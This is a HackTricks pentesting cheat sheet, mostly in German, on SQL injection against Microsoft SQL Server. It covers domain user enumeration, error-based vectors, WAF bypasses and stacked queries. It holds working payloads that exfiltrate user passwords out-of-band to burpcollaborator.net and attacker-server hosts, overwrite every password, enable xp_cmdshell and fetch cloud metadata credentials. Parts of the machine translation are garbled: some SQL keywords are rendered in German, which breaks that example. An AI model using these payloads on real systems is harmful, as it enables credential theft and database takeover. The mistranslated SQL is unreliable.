MSSQL Injection
Reading time: 9 minutes
tip
Lernen & ĂŒben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & ĂŒben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
UnterstĂŒtzen Sie HackTricks
- ĂberprĂŒfen Sie die AbonnementplĂ€ne!
- Treten Sie der đŹ Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter đŠ @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Active Directory Enumeration
Es kann möglich sein, DomĂ€nenbenutzer ĂŒber SQL-Injection innerhalb eines MSSQL-Servers mit den folgenden MSSQL-Funktionen aufzulisten:
SELECT DEFAULT_DOMAIN()
: Aktuellen DomÀnennamen abrufen.master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))
: Wenn Sie den Namen der DomĂ€ne (DOMAIN in diesem Beispiel) kennen, gibt diese Funktion die SID des Benutzers Administrator im Hex-Format zurĂŒck. Dies sieht aus wie0x01050000000[...]0000f401
, beachten Sie, wie die letzten 4 Bytes die Zahl 500 im Big Endian-Format sind, was die gemeinsame ID des Benutzers Administrator ist.
Diese Funktion ermöglicht es Ihnen, die ID der DomĂ€ne zu erfahren (alle Bytes auĂer den letzten 4).SUSER_SNAME(0x01050000000[...]0000e803)
: Diese Funktion gibt den Benutzernamen der angegebenen ID zurĂŒck (sofern vorhanden), in diesem Fall 0000e803 im Big Endian == 1000 (normalerweise ist dies die ID des ersten regulĂ€ren Benutzerkontos, das erstellt wurde). Dann können Sie sich vorstellen, dass Sie Benutzer-IDs von 1000 bis 2000 brute-forcen können und wahrscheinlich alle Benutzernamen der Benutzer der DomĂ€ne erhalten. Zum Beispiel mit einer Funktion wie der folgenden:
def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000
Alternative Error-Based Vektoren
Error-basierte SQL-Injektionen Àhneln typischerweise Konstruktionen wie +AND+1=@@version--
und Varianten, die auf dem «OR»-Operator basieren. Abfragen, die solche AusdrĂŒcke enthalten, werden normalerweise von WAFs blockiert. Um dies zu umgehen, verketten Sie einen String mit dem %2b-Zeichen und dem Ergebnis spezifischer Funktionsaufrufe, die einen Datentypkonvertierungsfehler bei den gesuchten Daten auslösen.
Einige Beispiele fĂŒr solche Funktionen:
SUSER_NAME()
USER_NAME()
PERMISSIONS()
DB_NAME()
FILE_NAME()
TYPE_NAME()
COL_NAME()
Beispiel fĂŒr die Verwendung der Funktion USER_NAME()
:
https://vuln.app/getItem?id=1'%2buser_name(@@version)--
SSRF
Diese SSRF-Tricks wurden hierher entnommen
fn_xe_file_target_read_file
Es erfordert die Berechtigung VIEW SERVER STATE
auf dem Server.
https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
# Or doing
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';
fn_get_audit_file
Es erfordert die CONTROL SERVER
Berechtigung.
https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_get_audit_file';
fn_trace_gettabe
Es erfordert die CONTROL SERVER
Berechtigung.
https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';
xp_dirtree
, xp_fileexists
, xp_subdirs
Gespeicherte Prozeduren wie xp_dirtree
, obwohl von Microsoft nicht offiziell dokumentiert, wurden von anderen online aufgrund ihrer NĂŒtzlichkeit bei Netzwerkoperationen innerhalb von MSSQL beschrieben. Diese Prozeduren werden hĂ€ufig bei Out of Band Data Exfiltration verwendet, wie in verschiedenen Beispielen und BeitrĂ€gen gezeigt.
Die gespeicherte Prozedur xp_dirtree
wird beispielsweise verwendet, um Netzwerkrequests zu machen, ist jedoch auf den TCP-Port 445 beschrÀnkt. Die Portnummer ist nicht Ànderbar, erlaubt jedoch das Lesen von Netzwerkfreigaben. Die Verwendung wird im folgenden SQL-Skript demonstriert:
DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');
Es ist bemerkenswert, dass diese Methode möglicherweise nicht auf allen Systemkonfigurationen funktioniert, wie zum Beispiel auf Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)
, der auf einem Windows Server 2016 Datacenter
mit den Standardeinstellungen lÀuft.
ZusÀtzlich gibt es alternative gespeicherte Prozeduren wie master..xp_fileexist
und xp_subdirs
, die Àhnliche Ergebnisse erzielen können. Weitere Details zu xp_fileexist
finden Sie in diesem TechNet-Artikel.
xp_cmdshell
Offensichtlich könnten Sie auch xp_cmdshell
verwenden, um etwas auszufĂŒhren, das eine SSRF auslöst. FĂŒr weitere Informationen lesen Sie den entsprechenden Abschnitt auf der Seite:
1433 - Pentesting MSSQL - Microsoft SQL Server
MSSQL Benutzerdefinierte Funktion - SQLHttp
Die Erstellung einer CLR UDF (Common Language Runtime Benutzerdefinierte Funktion), die in einer beliebigen .NET-Sprache verfasster Code ist und in eine DLL kompiliert wird, um innerhalb von MSSQL fĂŒr die AusfĂŒhrung benutzerdefinierter Funktionen geladen zu werden, ist ein Prozess, der dbo
-Zugriff erfordert. Das bedeutet, dass es normalerweise nur möglich ist, wenn die Datenbankverbindung als sa
oder mit einer Administratorrolle hergestellt wird.
Ein Visual Studio-Projekt und Installationsanweisungen sind in diesem Github-Repository bereitgestellt, um das Laden der BinĂ€rdatei in MSSQL als CLR-Assembly zu erleichtern, wodurch die AusfĂŒhrung von HTTP GET-Anfragen aus MSSQL heraus ermöglicht wird.
Der Kern dieser FunktionalitÀt ist in der Datei http.cs
gekapselt, die die Klasse WebClient
verwendet, um eine GET-Anfrage auszufĂŒhren und Inhalte wie unten dargestellt abzurufen:
using System.Data.SqlTypes;
using System.Net;
public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString(html);
}
}
Bevor Sie den CREATE ASSEMBLY
SQL-Befehl ausfĂŒhren, wird empfohlen, den folgenden SQL-Snippet auszufĂŒhren, um den SHA512-Hash der Assembly zur Liste der vertrauenswĂŒrdigen Assemblies des Servers hinzuzufĂŒgen (einsehbar ĂŒber select * from sys.trusted_assemblies;
):
EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';
Nachdem die Assembly erfolgreich hinzugefĂŒgt und die Funktion erstellt wurde, kann der folgende SQL-Code verwendet werden, um HTTP-Anfragen durchzufĂŒhren:
DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);
Schnelle Ausnutzung: Abrufen des gesamten Tabelleninhalts in einer einzigen Abfrage
Eine prÀgnante Methode zum Extrahieren des vollstÀndigen Inhalts einer Tabelle in einer einzigen Abfrage besteht darin, die FOR JSON
-Klausel zu verwenden. Dieser Ansatz ist kĂŒrzer als die Verwendung der FOR XML
-Klausel, die einen spezifischen Modus wie "raw" erfordert. Die FOR JSON
-Klausel wird aufgrund ihrer KĂŒrze bevorzugt.
So rufen Sie das Schema, die Tabellen und die Spalten aus der aktuellen Datenbank ab:
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done:
```
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">`</span></div>
Retrieving the Current Query
For users granted the VIEW SERVER STATE
permission on the server, it's possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text:
https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null
To check if you have the VIEW SERVER STATE permission, the following query can be used:
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
Little tricks for WAF bypasses
Non-standard whitespace characters: %C2%85 ОлО %C2%A0:
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--
Scientific (0e) and hex (0x) notation for obfuscating UNION:
https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
https://vuln.app/getItem?id=0xunion+select+null,@@version,null--
A period instead of a whitespace between FROM and a column name:
https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--
\N separator between SELECT and a throwaway column:
https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--
WAF Bypass with unorthodox stacked queries
According to this blog post it's possible to stack queries in MSSQL without using ";":
SELECT 'a' SELECT 'b'
So for example, multiple queries such as:
benutze [tempdb]
erstelle tabelle [test] ([id] int)
fĂŒge [test] werte(1) ein
wÀhle [id] von [test]
lösche tabelle [test]
Can be reduced to:
use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]
Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example:
# HinzufĂŒgen eines nutzlosen exec() am Ende und den WAF glauben lassen, dass dies keine gĂŒltige Abfrage ist
admina'union select 1,'admin','testtest123'exec('select 1')--
## Das wird sein:
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
exec('select 1')--'
# Verwendung seltsam konstruierter Abfragen
admin'exec('update[users]set[password]=''a''')--
## Das wird sein:
SELECT id, username, password FROM users WHERE username = 'admin'
exec('update[users]set[password]=''a''')--'
# Oder Aktivierung von xp_cmdshell
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
## Das wird sein
select * from users where username = ' admin'
exec('sp_configure''show advanced option'',''1''reconfigure')
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--